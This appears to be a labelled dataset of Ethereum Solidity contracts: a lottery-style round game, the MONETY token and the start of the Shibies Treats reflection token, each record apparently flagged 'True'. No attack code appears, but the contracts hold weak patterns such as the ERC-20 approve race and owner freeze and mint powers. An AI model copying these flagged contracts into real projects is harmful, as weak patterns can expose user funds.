playerRound_m[_rndNo][msg.sender].withdraw = _total;
msg.sender.transfer(_ethOut);
// event
emit FlyToTheMoonEvents.onWithdraw
(
msg.sender,
_rndNo,
_ethOut,
now
);
}
/**
* @dev Award by rndNo.
* 0x80ec35ff
* 0x80ec35ff0000000000000000000000000000000000000000000000000000000000000001
*/
function awardByRndNo(uint256 _rndNo)
onlyHuman()
public
{
require(_rndNo <= rndNo, "You're running too fast");
require(now > round_m[_rndNo].endTime, "Wait patiently");
require(round_m[_rndNo].leader == msg.sender, "The prize is not yours");
require(round_m[_rndNo].award == false, "Can't get prizes repeatedly");
uint256 _ethOut = ((round_m[_rndNo].eth).mul(35) / (100));
round_m[_rndNo].award = true;
msg.sender.transfer(_ethOut);
// event
emit FlyToTheMoonEvents.onAward
(
msg.sender,
_rndNo,
_ethOut,
now
);
}
/**
* @dev fee withdraw to owner, everyone can do it.
* 0x6561e6ba
*/
function feeWithdraw()
onlyHuman()
public
{
uint256 _total = (totalEth.mul(5) / (100));
uint256 _withdrawed = ownerWithdraw;
require(_total > _withdrawed, "No need to withdraw");
ownerWithdraw = _total;
owner.transfer(_total.sub(_withdrawed));
}
/**
* @dev change owner.
*/
function changeOwner(address newOwner)
onlyOwner()
public
{
owner = newOwner;
}
/**
* @dev returns all current round info needed for front end
* 0x747dff42
* @return round id
* @return total eth for round
* @return total keys for round
* @return time round started
* @return time round ends
* @return current leader
* @return lastest price
* @return current key price
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, uint256, uint256)
{
uint256 _rndNo = rndNo;
return (
_rndNo,
round_m[_rndNo].eth,
round_m[_rndNo].keys,
round_m[_rndNo].startTime,
round_m[_rndNo].endTime,
round_m[_rndNo].leader,
round_m[_rndNo].lastPrice,
getBuyPrice()
);
}
/**
* @dev return the price buyer will pay for next 1 individual key during first stage.
* 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rndNo = rndNo;
uint256 _now = now;
// start next round?
if (_now > round_m[_rndNo].endTime)
{
return (75000000000000);
}
if (round_m[_rndNo].keys < 10000000000000000000000000)
{
return ((round_m[_rndNo].keys.add(1000000000000000000)).ethRec(1000000000000000000));
}
//second stage
return (0);
}
}
library KeysCalc {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | True | [
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] |
pragma solidity ^0.4.23;
/*
* Creator:MTY (MONETY)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* MONETY smart contract.
*/
contract MTYToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 150000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function MTYToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "MONETY";
string constant public symbol = "MTY";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
/**
#SHIBIES #TREATS
Our fully decentralized website ***** shibiestreats.crypto ***** powered by Unstoppable Domains, IPFS, Pinata and Shiba Inus
All Shibas <3 TREATS!
Finally the long hunger will come to an end!
The most delicious TREATS that the best INUs deserve.
We are SHIBIES a very yummy and experimental decentralized community MEME Treat Token Project for all hungry SHIBA INUs.
We celebrate this big ascent of Shiba Inu Token and surprise the community with our tasty TREATS.
Over 50% of TREATS will burned and 40% will be distributed 1:1 to every SHIB and AKITA holder except exchanges and big holder.
The small rest will be used for charities and promotion.
New unique delicacies from SHIBIES will primarily go to TREATS holder!
Because SHIBAs love our TREATS so much, the supply is reduced with each transaction.
and every holder gets fully automatically rewards but on Ethereum only!
We almost love Ethereum like Shibas.
The best you HODL TREATS for ever, so that your Shiba never has to go hungry again!
Because the very high Ethereum gas fees, we distribute our TREATS via Polygon/Matic Network!
Use the same keys form your Ethereum Wallet in Polygon/Matic to get your tokens.
Withdrawals from Polygon/Matic to Ethereum are excluded from fee.
Features:
Total supply 1,100,000,000,000,000 TREATS
TREATS can be used for farming new tasty tokens frum us in the future
Over 50% burn to the burnaddress
40% distribute 1:1 to SHIB and AKITA holder but big holder get maximal 0.05% of total supply for better decentralization and we burn the other tokens
4% distribute for promotion at the beginning phase
4% distribute to charities and open projects:
UNICEF France 5.500.000.000.000 TREATS 0.5%
India Covid Relief Fund 5.500.000.000.000 TREATS 0.5%
CoolEarth 5.500.000.000.000 TREATS 0.5%
Freedom of the Press 5.500.000.000.000 TREATS 0.5%
Internet Archive 5.500.000.000.000 TREATS 0.5%
Tor Project 5.500.000.000.000 TREATS 0.5%
Gitcoin 5.500.000.000.000 TREATS 0.5%
CoinGecko 1.100.000.000.000 TREATS 0.1%
Etherscan 1.100.000.000.000 TREATS 0.1%
MyEtherWallet 1.100.000.000.000 TREATS 0.1%
Polygon Foundation 1.100.000.000.000 TREATS 0.1%
Shib Token Developer 1.100.000.000.000 TREATS 0.1%
Variable transaction fee with auto rewards to all holders:
1% 0+ TREATS
2% 100+ TREATS
3% 1,000+ TREATS
4% 10,000+ TREATS
5% 100,000+ TREATS
6% 1,000,000+ TREATS
8% 10,000,000+ TREATS
10% 100,000,000+ TREATS
12% 1,000,000,000+ TREATS
15% 10,000,000,000+ TREATS
20% 1,000,000,000,000+ TREATS
Polygon/Matic Network is excluded from fees and rewards
Withdrawals from Polygon/Matic to Ethereum are excluded from fee
Charities and owner excluded from fee
Rewards to TREATS holder on Ethereum only
With our variable transaction fee, we want to avoid many large transactions for better decentralization.
We would like to attract so more small holders in order to become an even larger community.
Because the token supply is still high at the beginning, higher transaction fees will apply and early holders get more rewards.
The minimum fee will always be at least 1%.
This is a full decentralized community token and we will burn the ownership after full distrubation.
No sale or team tokens!
Our fully decentralized website **** shibiestreats.crypto **** powered by Unstoppable Domains, IPFS, Pinata and Shiba Inus
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
//uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ShibiesTreats is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwn;
mapping (address => uint256) private _tOwn;
mapping (address => mapping (address => uint256)) private _allow;
mapping (address => bool) private _excludedFee;
mapping (address => bool) private _excluded;
address[] private _exclude;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1.1 * 10**15 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFee;
string private _name = "Shibies Treats";
string private _symbol = "TREATS";
uint8 private _decimals = 18;
uint256 public _transFee = 1;
address _polyBridge = 0x40ec5B33f54e0E8A33A975908C5BA1c14e5BbbDf;
constructor () public {
_rOwn[_msgSender()] = _rTotal;
//exclude this contract, owner and zero address from fee
_excludedFee[owner()] = true;
_excludedFee[address(this)] = true;
_excludedFee[0x0000000000000000000000000000000000000000] = true;
//exclude charities and projects from fee
_excludedFee[0xA59B29d7dbC9794d1e7f45123C48b2b8d0a34636] = true; //UNICEF
_excludedFee[0x68A99f89E475a078645f4BAC491360aFe255Dff1]= true; //India Covid Relief FUND
_excludedFee[0x3c8cB169281196737c493AfFA8F49a9d823bB9c5] = true; //CoolEarth
_excludedFee[0x998F25Be40241CA5D8F5fCaF3591B5ED06EF3Be7] = true; //Freedom of the Press
_excludedFee[0xFA8E3920daF271daB92Be9B87d9998DDd94FEF08]= true; //Internet Archive
_excludedFee[0x532Fb5D00f40ced99B16d1E295C77Cda2Eb1BB4F] = true; //Tor Project
_excludedFee[0xde21F729137C5Af1b01d73aF1dC21eFfa2B8a0d6] = true; //Gitcoin
_excludedFee[0x4Cdc86fa95Ec2704f0849825f1F8b077deeD8d39]= true; //CoinGecko
_excludedFee[0x71C7656EC7ab88b098defB751B7401B5f6d8976F] = true; //Etherscan
_excludedFee[0xDECAF9CD2367cdbb726E904cD6397eDFcAe6068D] = true; //MyEtherWallet
_excludedFee[0xb316fa9Fa91700D7084D377bfdC81Eb9F232f5Ff]= true; //Polygon Foundation
_excludedFee[0xc351155C80aCD043BD5F8FE7ffc8536af1fF9375] = true; //Shib Token Developer
//exclude polygon/matic bridge from rewards
_excluded[_polyBridge] = true;
_exclude.push(_polyBridge);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_excluded[account]) return _tOwn[account];
return tokenReflect(_rOwn[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
